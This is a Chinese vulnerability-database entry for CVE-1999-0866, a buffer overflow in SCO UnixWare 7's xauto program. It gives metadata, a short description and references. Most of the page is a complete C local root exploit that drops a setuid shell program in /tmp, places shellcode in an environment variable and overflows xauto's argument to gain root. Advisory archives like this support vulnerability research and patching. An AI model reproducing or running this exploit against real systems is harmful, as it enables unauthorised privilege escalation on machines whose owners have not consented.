SCO UnixWare 'xauto'缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105637 漏洞类型 缓冲区溢出
发布时间 1999-12-03 更新时间 2005-05-02
CVE编号 CVE-1999-0866 CNNVD-ID CNNVD-199912-027
漏洞平台 SCO CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19656
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-027
|漏洞详情
UnixWare的xauto程序存在缓冲器溢出漏洞。本地用户可以利用该漏洞获得root权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/848/info

Certain versions of SCO's UnixWare ship with a version of /usr/X/bin/xauto which is vulnerable to a buffer overflow attack which may result in an attacker gaining root privileges.

This is exploitable to gain root privileges even though /usr/X/bin/xauto is not setuid root. This is due to a system design issue with SCO Unixware which is discussed in an attached message in the 'Credit' section titled "UnixWare 7 uidadmin exploit + discussion". 

/**
 ** UnixWare 7.1 root exploit for xauto
 ** Note that xauto is NOT suid or sgid but gains it's privs from
 ** /etc/security/tcb/privs.  For more info, consult intro(2) =

 ** and fileprivs(1)
 ** =

 **
 ** Brock Tellier btellier@usa.net
 **/ =



#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* UnixWare 7.1 shellcode runs /tmp/ui */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       =

#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"

void buildui() {
  FILE *fp;
  char cc[100];

  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);

}

int main(int argc, char *argv[]) {
  =

  long int offset=0;
  =

  int i;
  int egglen = EGGLEN;
  int retlen;
  long int addr;
  char egg[EGGLEN];
  char ret[RETLEN];
  // who needs __asm__?  Per Solar Designer's suggestion
  unsigned long sp = (unsigned long)&sp; =


  buildui();
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0); =

  }
  else if (argc == 2){
    offset=atoi(argv[1]);
    retlen=RETLEN;
  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    retlen=atoi(argv[2]); =

  }
  else {
    offset=9400;
    retlen=2000;
    =

  }
  addr=sp + offset;
  =

  fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauto\n");
  fprintf(stderr, "Brock Tellier btellier@usa.net\n");
  fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);
  =

  memset(egg,NOP,egglen);
  memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  =

  for(i=ALIGN;i< retlen-4;i+=4)
    *(int *)&ret[i]=addr;  =

  =

  memcpy(egg, "EGG=", 4);
  putenv(egg);

  execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =

  =

}
|参考资料

来源:BID
名称:848
链接:http://www.securityfocus.com/bid/848
来源:BUGTRAQ
名称:19991223FYI,SCOSecuritypatchesavailable.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94606167110764&w=2
来源:BUGTRAQ
名称:19991220SCOOpenServerSecurityStatus
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94581379905584&w=2
来源:BUGTRAQ
名称:19991215RecentpostingsaboutSCOUnixWare7
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94530783815434&w=2
来源:SCO
名称:SB-99.24a
链接:ftp://ftp.sco.com/SSE/security_bulletins/SB-99.24a